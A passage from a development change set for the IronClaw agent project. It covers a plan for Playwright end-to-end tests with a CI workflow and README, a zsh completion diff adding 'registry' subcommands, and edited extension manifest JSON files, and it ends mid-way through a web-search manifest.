await search_input.fill("markdown")
await search_input.press("Enter")
try:
results = page.locator(SEL["skill_search_result"])
await results.first.wait_for(state="visible", timeout=20000)
except Exception:
pytest.skip("ClawHub registry unreachable or returned no results")
# Auto-accept confirm dialogs
await page.evaluate("window.confirm = () => true")
# Install first result
install_btn = results.first.locator("button", has_text="Install")
if await install_btn.count() == 0:
pytest.skip("No installable skills found in results")
await install_btn.click()
# Wait for install to complete (installed list updates)
# The UI should show the skill in the installed section
await page.wait_for_timeout(5000)
# Check if any installed skills exist now
installed = page.locator(SEL["skill_installed"])
installed_count = await installed.count()
if installed_count == 0:
# Try scrolling or waiting longer
await page.wait_for_timeout(5000)
installed_count = await installed.count()
assert installed_count >= 1, "Skill should appear in installed list after install"
# Remove the skill
remove_btn = installed.first.locator("button", has_text="Remove")
if await remove_btn.count() > 0:
await remove_btn.click()
await page.wait_for_timeout(3000)
# Verify removed
new_count = await page.locator(SEL["skill_installed"]).count()
assert new_count < installed_count, "Skill should be removed from installed list"
```
**Step 2: Commit**
```bash
git add tests/e2e/scenarios/test_skills.py
git commit -m "feat: E2E scenario 3 -- skills search, install, remove tests"
```
---
### Task 8: CI workflow
**Files:**
- Create: `.github/workflows/e2e.yml`
**Step 1: Write the workflow**
```yaml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- "src/channels/web/**"
- "tests/e2e/**"
jobs:
e2e:
name: Browser E2E
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: |
target
~/.cargo/registry
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw (libsql)
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install --with-deps chromium
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=120
- name: Upload screenshots on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: e2e-screenshots
path: tests/e2e/screenshots/
if-no-files-found: ignore
```
**Step 2: Commit**
```bash
git add .github/workflows/e2e.yml
git commit -m "ci: add weekly E2E test workflow with Playwright"
```
---
### Task 9: README
**Files:**
- Create: `tests/e2e/README.md`
**Step 1: Write the README**
```markdown
# IronClaw E2E Tests
Browser-level end-to-end tests for the IronClaw web gateway using Python + Playwright.
## Prerequisites
- Python 3.11+
- Rust toolchain (for building ironclaw)
- Chromium (installed via Playwright)
## Setup
```bash
cd tests/e2e
pip install -e .
playwright install chromium
```
## Build ironclaw
The tests need the ironclaw binary built with libsql support:
```bash
cargo build --no-default-features --features libsql
```
## Run tests
```bash
# From repo root
pytest tests/e2e/ -v
# Run a single scenario
pytest tests/e2e/scenarios/test_chat.py -v
# With visible browser (not headless)
HEADED=1 pytest tests/e2e/scenarios/test_connection.py -v
```
## Architecture
Tests start two subprocesses:
1. **Mock LLM** (`mock_llm.py`) -- fake OpenAI-compat server with canned responses
2. **IronClaw** -- the real binary with gateway enabled, pointing to the mock LLM
Then Playwright drives a headless Chromium browser against the gateway, making DOM assertions.
## Scenarios
| File | What it tests |
|------|--------------|
| `test_connection.py` | Auth, tab navigation, connection status |
| `test_chat.py` | Send message, SSE streaming, response rendering |
| `test_skills.py` | ClawHub search, skill install/remove |
## Adding new scenarios
1. Create `tests/e2e/scenarios/test_<name>.py`
2. Use the `page` fixture for a fresh browser page
3. Use selectors from `helpers.py` (update `SEL` dict if new elements are needed)
4. Keep tests deterministic -- use the mock LLM, not real providers
```
**Step 2: Commit**
```bash
git add tests/e2e/README.md
git commit -m "docs: E2E test README with setup and usage instructions"
```
---
### Task 10: Integration test -- run all scenarios end-to-end
**Step 1: Build ironclaw**
```bash
cargo build --no-default-features --features libsql
```
**Step 2: Run the full E2E suite**
```bash
pytest tests/e2e/ -v --timeout=120
```
Expected: All tests in `test_connection.py` and `test_chat.py` pass. `test_skills.py` tests pass or skip (if ClawHub is unreachable).
**Step 3: Fix any issues discovered during the run**
Common issues to watch for:
- Port conflicts: change `MOCK_LLM_PORT` or `GATEWAY_PORT` in conftest.py
- Timing: increase wait timeouts if SSE streaming is slow
- Selectors: update `SEL` dict in helpers.py if frontend elements changed
- Onboarding wizard: ensure `ONBOARD_COMPLETED=true` prevents wizard from blocking
**Step 4: Final commit with any fixes**
```bash
git add -A tests/e2e/
git commit -m "fix: E2E test adjustments from integration run"
```
---
## Summary
| Task | Files | Description |
|------|-------|-------------|
| 1 | pyproject.toml, __init__.py | Project scaffolding |
| 2 | mock_llm.py | Mock OpenAI-compat server |
| 3 | helpers.py | Selectors and utilities |
| 4 | conftest.py | pytest fixtures |
| 5 | test_connection.py | Scenario 1: connection/tabs |
| 6 | test_chat.py | Scenario 2: chat round-trip |
| 7 | test_skills.py | Scenario 3: skills lifecycle |
| 8 | e2e.yml | CI workflow |
| 9 | README.md | Documentation |
| 10 | (integration run) | Verify everything works |
+303 -45
View File
@@ -22,8 +22,8 @@ _ironclaw() {
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ '--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \ '--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \ '--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \ '-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help]' \ '--help[Print help (see more with '\''--help'\'')]' \
'-V[Print version]' \ '-V[Print version]' \
'--version[Print version]' \ '--version[Print version]' \
":: :_ironclaw_commands" \ ":: :_ironclaw_commands" \
@@ -44,8 +44,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ '--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \ '--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \ '--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \ '-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help]' \ '--help[Print help (see more with '\''--help'\'')]' \
&& ret=0 && ret=0
;; ;;
(onboard) (onboard)
@@ -59,8 +59,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ '--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \ '--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \ '--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \ '-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help]' \ '--help[Print help (see more with '\''--help'\'')]' \
&& ret=0 && ret=0
;; ;;
(config) (config)
@@ -72,8 +72,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ '--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \ '--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \ '--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \ '-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help]' \ '--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__config_commands" \ ":: :_ironclaw__config_commands" \
"*::: :->config" \ "*::: :->config" \
&& ret=0 && ret=0
@@ -228,8 +228,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ '--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \ '--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \ '--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \ '-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help]' \ '--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__tool_commands" \ ":: :_ironclaw__tool_commands" \
"*::: :->tool" \ "*::: :->tool" \
&& ret=0 && ret=0
@@ -374,7 +374,47 @@ esac
;; ;;
esac esac
;; ;;
(mcp) (registry)
_arguments "${_arguments_options[@]}" : \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__registry_commands" \
"*::: :->registry" \
&& ret=0
case $state in
(registry)
words=($line[1] "${words[@]}")
(( CURRENT += 1 ))
curcontext="${curcontext%:*:*}:ironclaw-registry-command-$line[1]:"
case $line[1] in
(list)
_arguments "${_arguments_options[@]}" : \
'-k+[Filter by kind\: "tool" or "channel"]:KIND:_default' \
'--kind=[Filter by kind\: "tool" or "channel"]:KIND:_default' \
'-t+[Filter by tag (e.g. "default", "google", "messaging")]:TAG:_default' \
'--tag=[Filter by tag (e.g. "default", "google", "messaging")]:TAG:_default' \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'-v[Show detailed information]' \
'--verbose[Show detailed information]' \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
&& ret=0
;;
(info)
_arguments "${_arguments_options[@]}" : \ _arguments "${_arguments_options[@]}" : \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ '-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ '--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
@@ -385,6 +425,93 @@ _arguments "${_arguments_options[@]}" : \
'--no-onboard[Skip first-run onboarding check]' \ '--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \ '-h[Print help]' \
'--help[Print help]' \ '--help[Print help]' \
':name -- Extension or bundle name (e.g. "slack", "google", "tools/gmail"):_default' \
&& ret=0
;;
(install)
_arguments "${_arguments_options[@]}" : \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'-f[Force overwrite if already installed]' \
'--force[Force overwrite if already installed]' \
'--build[Build from source instead of downloading pre-built artifact]' \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
':name -- Extension or bundle name (e.g. "slack", "google", "default"):_default' \
&& ret=0
;;
(install-defaults)
_arguments "${_arguments_options[@]}" : \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'-f[Force overwrite if already installed]' \
'--force[Force overwrite if already installed]' \
'--build[Build from source instead of downloading pre-built artifact]' \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
&& ret=0
;;
(help)
_arguments "${_arguments_options[@]}" : \
":: :_ironclaw__registry__help_commands" \
"*::: :->help" \
&& ret=0
case $state in
(help)
words=($line[1] "${words[@]}")
(( CURRENT += 1 ))
curcontext="${curcontext%:*:*}:ironclaw-registry-help-command-$line[1]:"
case $line[1] in
(list)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(info)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(install)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(install-defaults)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(help)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
esac
;;
esac
;;
esac
;;
esac
;;
(mcp)
_arguments "${_arguments_options[@]}" : \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__mcp_commands" \ ":: :_ironclaw__mcp_commands" \
"*::: :->mcp" \ "*::: :->mcp" \
&& ret=0 && ret=0
@@ -549,8 +676,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ '--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \ '--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \ '--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \ '-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help]' \ '--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__memory_commands" \ ":: :_ironclaw__memory_commands" \
"*::: :->memory" \ "*::: :->memory" \
&& ret=0 && ret=0
@@ -690,8 +817,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ '--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \ '--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \ '--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \ '-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help]' \ '--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__pairing_commands" \ ":: :_ironclaw__pairing_commands" \
"*::: :->pairing" \ "*::: :->pairing" \
&& ret=0 && ret=0
@@ -773,8 +900,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ '--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \ '--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \ '--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \ '-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help]' \ '--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__service_commands" \ ":: :_ironclaw__service_commands" \
"*::: :->service" \ "*::: :->service" \
&& ret=0 && ret=0
@@ -903,8 +1030,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ '--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \ '--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \ '--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \ '-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help]' \ '--help[Print help (see more with '\''--help'\'')]' \
&& ret=0 && ret=0
;; ;;
(status) (status)
@@ -916,13 +1043,13 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ '--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \ '--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \ '--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \ '-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help]' \ '--help[Print help (see more with '\''--help'\'')]' \
&& ret=0 && ret=0
;; ;;
(completion) (completion)
_arguments "${_arguments_options[@]}" : \ _arguments "${_arguments_options[@]}" : \
'--shell=[The shell to generate completions for]:SHELL:(bash zsh fish powershell elvish)' \ '--shell=[The shell to generate completions for]:SHELL:(bash elvish fish powershell zsh)' \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ '-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ '--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ '-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
@@ -930,8 +1057,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ '--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \ '--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \ '--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \ '-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help]' \ '--help[Print help (see more with '\''--help'\'')]' \
&& ret=0 && ret=0
;; ;;
(worker) (worker)
@@ -1063,6 +1190,38 @@ _arguments "${_arguments_options[@]}" : \
;; ;;
esac esac
;; ;;
(registry)
_arguments "${_arguments_options[@]}" : \
":: :_ironclaw__help__registry_commands" \
"*::: :->registry" \
&& ret=0
case $state in
(registry)
words=($line[1] "${words[@]}")
(( CURRENT += 1 ))
curcontext="${curcontext%:*:*}:ironclaw-help-registry-command-$line[1]:"
case $line[1] in
(list)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(info)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(install)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(install-defaults)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
esac
;;
esac
;;
(mcp) (mcp)
_arguments "${_arguments_options[@]}" : \ _arguments "${_arguments_options[@]}" : \
":: :_ironclaw__help__mcp_commands" \ ":: :_ironclaw__help__mcp_commands" \
@@ -1235,17 +1394,18 @@ esac
(( $+functions[_ironclaw_commands] )) || (( $+functions[_ironclaw_commands] )) ||
_ironclaw_commands() { _ironclaw_commands() {
local commands; commands=( local commands; commands=(
'run:Run the agent (default if no subcommand given)' \ 'run:Run the AI agent' \
'onboard:Interactive onboarding wizard' \ 'onboard:Run interactive setup wizard' \
'config:Manage configuration settings' \ 'config:Manage app configs' \
'tool:Manage WASM tools' \ 'tool:Manage WASM tools' \
'mcp:Manage MCP servers (hosted tool providers)' \ 'registry:Browse/install extensions' \
'memory:Query and manage workspace memory' \ 'mcp:Manage MCP servers' \
'pairing:DM pairing (approve inbound requests from unknown senders)' \ 'memory:Manage workspace memory' \
'service:Manage OS service (launchd / systemd)' \ 'pairing:Manage DM pairing' \
'doctor:Probe external dependencies and validate configuration' \ 'service:Manage OS service' \
'status:Show system health and diagnostics' \ 'doctor:Run diagnostics' \
'completion:Generate shell completion scripts' \ 'status:Show system status' \
'completion:Generate completions' \
'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \ 'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \
'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \ 'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \
'help:Print this message or the help of the given subcommand(s)' \ 'help:Print this message or the help of the given subcommand(s)' \
@@ -1361,17 +1521,18 @@ _ironclaw__doctor_commands() {
(( $+functions[_ironclaw__help_commands] )) || (( $+functions[_ironclaw__help_commands] )) ||
_ironclaw__help_commands() { _ironclaw__help_commands() {
local commands; commands=( local commands; commands=(
'run:Run the agent (default if no subcommand given)' \ 'run:Run the AI agent' \
'onboard:Interactive onboarding wizard' \ 'onboard:Run interactive setup wizard' \
'config:Manage configuration settings' \ 'config:Manage app configs' \
'tool:Manage WASM tools' \ 'tool:Manage WASM tools' \
'mcp:Manage MCP servers (hosted tool providers)' \ 'registry:Browse/install extensions' \
'memory:Query and manage workspace memory' \ 'mcp:Manage MCP servers' \
'pairing:DM pairing (approve inbound requests from unknown senders)' \ 'memory:Manage workspace memory' \
'service:Manage OS service (launchd / systemd)' \ 'pairing:Manage DM pairing' \
'doctor:Probe external dependencies and validate configuration' \ 'service:Manage OS service' \
'status:Show system health and diagnostics' \ 'doctor:Run diagnostics' \
'completion:Generate shell completion scripts' \ 'status:Show system status' \
'completion:Generate completions' \
'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \ 'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \
'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \ 'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \
'help:Print this message or the help of the given subcommand(s)' \ 'help:Print this message or the help of the given subcommand(s)' \
@@ -1541,6 +1702,36 @@ _ironclaw__help__pairing__list_commands() {
local commands; commands=() local commands; commands=()
_describe -t commands 'ironclaw help pairing list commands' commands "$@" _describe -t commands 'ironclaw help pairing list commands' commands "$@"
} }
(( $+functions[_ironclaw__help__registry_commands] )) ||
_ironclaw__help__registry_commands() {
local commands; commands=(
'list:List available extensions in the registry' \
'info:Show detailed information about an extension or bundle' \
'install:Install an extension or bundle from the registry' \
'install-defaults:Install the default bundle of recommended extensions' \
)
_describe -t commands 'ironclaw help registry commands' commands "$@"
}
(( $+functions[_ironclaw__help__registry__info_commands] )) ||
_ironclaw__help__registry__info_commands() {
local commands; commands=()
_describe -t commands 'ironclaw help registry info commands' commands "$@"
}
(( $+functions[_ironclaw__help__registry__install_commands] )) ||
_ironclaw__help__registry__install_commands() {
local commands; commands=()
_describe -t commands 'ironclaw help registry install commands' commands "$@"
}
(( $+functions[_ironclaw__help__registry__install-defaults_commands] )) ||
_ironclaw__help__registry__install-defaults_commands() {
local commands; commands=()
_describe -t commands 'ironclaw help registry install-defaults commands' commands "$@"
}
(( $+functions[_ironclaw__help__registry__list_commands] )) ||
_ironclaw__help__registry__list_commands() {
local commands; commands=()
_describe -t commands 'ironclaw help registry list commands' commands "$@"
}
(( $+functions[_ironclaw__help__run_commands] )) || (( $+functions[_ironclaw__help__run_commands] )) ||
_ironclaw__help__run_commands() { _ironclaw__help__run_commands() {
local commands; commands=() local commands; commands=()
@@ -1846,6 +2037,73 @@ _ironclaw__pairing__list_commands() {
local commands; commands=() local commands; commands=()
_describe -t commands 'ironclaw pairing list commands' commands "$@" _describe -t commands 'ironclaw pairing list commands' commands "$@"
} }
(( $+functions[_ironclaw__registry_commands] )) ||
_ironclaw__registry_commands() {
local commands; commands=(
'list:List available extensions in the registry' \
'info:Show detailed information about an extension or bundle' \
'install:Install an extension or bundle from the registry' \
'install-defaults:Install the default bundle of recommended extensions' \
'help:Print this message or the help of the given subcommand(s)' \
)
_describe -t commands 'ironclaw registry commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help_commands] )) ||
_ironclaw__registry__help_commands() {
local commands; commands=(
'list:List available extensions in the registry' \
'info:Show detailed information about an extension or bundle' \
'install:Install an extension or bundle from the registry' \
'install-defaults:Install the default bundle of recommended extensions' \
'help:Print this message or the help of the given subcommand(s)' \
)
_describe -t commands 'ironclaw registry help commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help__help_commands] )) ||
_ironclaw__registry__help__help_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry help help commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help__info_commands] )) ||
_ironclaw__registry__help__info_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry help info commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help__install_commands] )) ||
_ironclaw__registry__help__install_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry help install commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help__install-defaults_commands] )) ||
_ironclaw__registry__help__install-defaults_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry help install-defaults commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help__list_commands] )) ||
_ironclaw__registry__help__list_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry help list commands' commands "$@"
}
(( $+functions[_ironclaw__registry__info_commands] )) ||
_ironclaw__registry__info_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry info commands' commands "$@"
}
(( $+functions[_ironclaw__registry__install_commands] )) ||
_ironclaw__registry__install_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry install commands' commands "$@"
}
(( $+functions[_ironclaw__registry__install-defaults_commands] )) ||
_ironclaw__registry__install-defaults_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry install-defaults commands' commands "$@"
}
(( $+functions[_ironclaw__registry__list_commands] )) ||
_ironclaw__registry__list_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry list commands' commands "$@"
}
(( $+functions[_ironclaw__run_commands] )) || (( $+functions[_ironclaw__run_commands] )) ||
_ironclaw__run_commands() { _ironclaw__run_commands() {
local commands; commands=() local commands; commands=()
@@ -2023,5 +2281,5 @@ _ironclaw__worker_commands() {
if [ "$funcstack[1]" = "_ironclaw" ]; then if [ "$funcstack[1]" = "_ironclaw" ]; then
_ironclaw "$@" _ironclaw "$@"
else else
compdef _ironclaw ironclaw (( $+functions[compdef] )) && compdef _ironclaw ironclaw
fi fi
+2 -2
View File
@@ -1,9 +1,9 @@
{ {
"name": "discord", "name": "discord",
"display_name": "Discord", "display_name": "Discord Channel",
"kind": "channel", "kind": "channel",
"version": "0.1.0", "version": "0.1.0",
"description": "Discord Gateway/Webhook channel for slash commands, buttons, and messages", "description": "Talk to your agent in Discord",
"keywords": ["messaging", "chat", "discord", "bot"], "keywords": ["messaging", "chat", "discord", "bot"],
"source": { "source": {
+2 -2
View File
@@ -1,9 +1,9 @@
{ {
"name": "slack", "name": "slack",
"display_name": "Slack", "display_name": "Slack Channel",
"kind": "channel", "kind": "channel",
"version": "0.1.0", "version": "0.1.0",
"description": "Slack Events API channel for receiving and responding to Slack messages", "description": "Talk to your agent in Slack",
"keywords": ["messaging", "chat", "workspace", "slack"], "keywords": ["messaging", "chat", "workspace", "slack"],
"source": { "source": {
+2 -2
View File
@@ -1,9 +1,9 @@
{ {
"name": "telegram", "name": "telegram",
"display_name": "Telegram", "display_name": "Telegram Channel",
"kind": "channel", "kind": "channel",
"version": "0.1.0", "version": "0.1.0",
"description": "Telegram Bot API channel for receiving and responding to messages", "description": "Talk to your agent through a Telegram bot",
"keywords": ["messaging", "bot", "chat", "telegram"], "keywords": ["messaging", "bot", "chat", "telegram"],
"source": { "source": {
+2 -2
View File
@@ -1,9 +1,9 @@
{ {
"name": "whatsapp", "name": "whatsapp",
"display_name": "WhatsApp", "display_name": "WhatsApp Channel",
"kind": "channel", "kind": "channel",
"version": "0.1.0", "version": "0.1.0",
"description": "WhatsApp Cloud API channel for receiving and responding to messages", "description": "Talk to your agent through WhatsApp",
"keywords": ["messaging", "chat", "whatsapp", "meta"], "keywords": ["messaging", "chat", "whatsapp", "meta"],
"source": { "source": {
+3 -3
View File
@@ -1,9 +1,9 @@
{ {
"name": "slack-tool", "name": "slack-tool",
"display_name": "Slack", "display_name": "Slack Tool",
"kind": "tool", "kind": "tool",
"version": "0.1.0", "version": "0.1.0",
"description": "Post messages, read channels, and manage conversations via Slack API", "description": "Your agent uses Slack to post and read messages in your workspace",
"keywords": ["messaging", "chat", "workspace"], "keywords": ["messaging", "chat", "workspace"],
"source": { "source": {
@@ -14,7 +14,7 @@
"artifacts": { "artifacts": {
"wasm32-wasip2": { "wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-wasm32-wasip2.tar.gz", "url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-tool-wasm32-wasip2.tar.gz",
"sha256": null "sha256": null
} }
}, },
+3 -3
View File
@@ -1,9 +1,9 @@
{ {
"name": "telegram-mtproto", "name": "telegram-mtproto",
"display_name": "Telegram", "display_name": "Telegram Tool",
"kind": "tool", "kind": "tool",
"version": "0.1.0", "version": "0.1.0",
"description": "Telegram user-mode integration via MTProto for messages and contacts", "description": "Your agent uses your Telegram account to read and send messages",
"keywords": ["messaging", "chat", "telegram", "mtproto"], "keywords": ["messaging", "chat", "telegram", "mtproto"],
"source": { "source": {
@@ -14,7 +14,7 @@
"artifacts": { "artifacts": {
"wasm32-wasip2": { "wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-wasm32-wasip2.tar.gz", "url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-mtproto-wasm32-wasip2.tar.gz",
"sha256": null "sha256": null
} }
}, },
+31
View File
@@ -0,0 +1,31 @@
{
"name": "web-search",
"display_name": "Web Search",
"kind": "tool",
"version": "0.1.0",
"description": "Search the web using Brave Search API",
"keywords": ["search", "web", "brave", "internet"],
"source": {
"dir": "tools-src/web-search",
"capabilities": "web-search-tool.capabilities.json",
"crate_name": "web-search-tool"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/web-search-wasm32-wasip2.tar.gz",
